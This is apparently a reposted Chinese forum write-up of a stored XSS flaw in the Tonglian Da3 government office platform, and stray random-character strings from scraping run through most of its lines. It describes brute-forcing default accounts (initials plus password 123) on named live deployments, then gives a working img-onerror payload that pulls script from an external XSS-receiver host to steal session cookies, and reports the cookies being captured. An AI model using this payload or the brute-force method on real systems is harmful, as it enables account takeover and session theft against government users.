同联Da3协同办公平台后台通用储存型xss漏洞

admin

) w, S6 r2 ]9 j) J2 s* F D / [/ b* J% Q. {* ^7 e# z& N3 W5 I0 E. T " ]1 g$ D' e# \; ?7 E) Z . s% M7 z+ S) T; s0 v * }) Q0 h. c: [# x. y& B; x& M* } Q3 ]* C# p* V. ?8 Q! ? ! C3 d9 u6 V, s0 O

, [1 ]: l( D# U* Y! i

( X p: w$ ~4 [/ J4 o 同联Da3协同办公平台后台通用储存型xss漏洞

0 X! `, |4 j3 X7 V* o) r! L; t6 D

# @3 L% t1 X# s: E0 p 平台简介： 5 O: W; a6 O! j- q8 Y

  / I5 r) u4 n! `

; a" ?3 Z4 n! s7 F0 E9 C+ I: A

6 A5 M, _! N5 S; u! C- \6 h: O 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
( ]0 [/ J% U& H同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
( _4 t* R( D Y5 r. N f3 u同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ * t9 o0 R, V, d# }% |# G

/ [: |7 d3 P* H8 J

: z( z7 r K+ {) o" X; }  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  1 X6 z; G) P& W0 }& u7 ?

http://1.1.1.1:7197/cap-aco/#（案例2-）

2 @, l1 m3 ~6 x& c% }

! y4 q& c" S( M* {. Q% r8 _6 ? http://www.XXOO.com （案例1-官网网站）

& S# t7 Q8 b3 R7 {

8 }& A4 b2 W% j9 M9 O) D 漏洞详情:

" E; [2 b" o' _+ b: y: T# V- A' y4 l4 d

& i4 ^! f4 W& z' n1 y  案例一、

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 0 S! D1 E3 T* Z: o

4 ^6 b( K: s2 R

% k F- Y0 H6 ^! y5 D& f0 d      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

" l; y1 C2 r" F1 R2 M% F0 W- ?  

( O y, u$ d+ ?) ?. v; \0 V

; ~; ?! N# G2 I" q; Z

7 u- ?; [% l/ Z1 w& T8 z& J status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

/ Q% y4 z% `9 c+ B& ?" Y& m/ E# e

5 K# _0 z) U8 t9 a   2 a& d0 p5 J1 q- \

( g8 _, m7 h3 s& V* ?3 n

6 ?; H' s* z4 E ?) c. l$ @

( }5 ~0 y# M. e5 U) S, L 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 ( g+ B8 X6 f& n# ?2 K5 ^

, n* h5 U- k0 h* Y k/ O

: E+ `; v6 s- O  

& C" C3 h+ Y% ?+ e/ X7 X+ _) T" \ <img src=x 5 G8 g- u* S% S/ Z2 ?onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

7 G& d: g; N! t" b

/ X: ?* @. b# s

! K! R4 _4 O6 \' ], d0 _$ a% L

然后发送，接收cookie如图：

0 \! h8 ~$ K v9 I8 P- j

 

) e Y, p0 L" X2 P6 W, x   & A* P; c# q5 u4 l& `. }: O/ {) e

 

7 k: b* B/ ~: Q3 e) m5 o   - [; h; [! x( l6 J- r

0 z! P' V, I. M% H* s& v

" _) n+ I9 J9 R% p9 @7 y

1 _( N- K6 }2 u6 ?7 R N

7 i8 D* }' R" r6 \

: J! t( Y ~/ ^* u9 s   + y& q( i, d# C1 M

案例2、 # ?$ {) j( _ ~5 w( [2 O

前面步骤都一样，下面看效果图： 8 |# d, R" F2 x- W+ m) g

}2 [9 t- l- k, [: H4 d 6 Y7 F1 O8 b6 q( g

6 Q. u/ ]' M9 P! j6 h& b \; [

! `, k9 c/ E% @4 |* d: p0 E ' x6 J+ ?& I! T$ [, ]& G+ i/ R# u8 c! i

3 Q% a N4 T/ G, e0 Z# \8 Q( r

6 G" Z7 O' s) D7 Z  

7 \ {& ]" G+ M. g- z9 ~; e0 Y

" W- }0 G1 X+ ~+ I. m  

* H$ X" s$ [4 d$ n, X- M1 c

8 d* H& A( W- e- z: [( e! @

 

  * m8 V9 E! \9 o. e$ L

* L u6 i" d7 X4 y* l" S7 b

 

/ W4 f) E3 S C0 A& _- C

- [4 y6 q5 \. M: T  

3 P1 S3 t' z5 J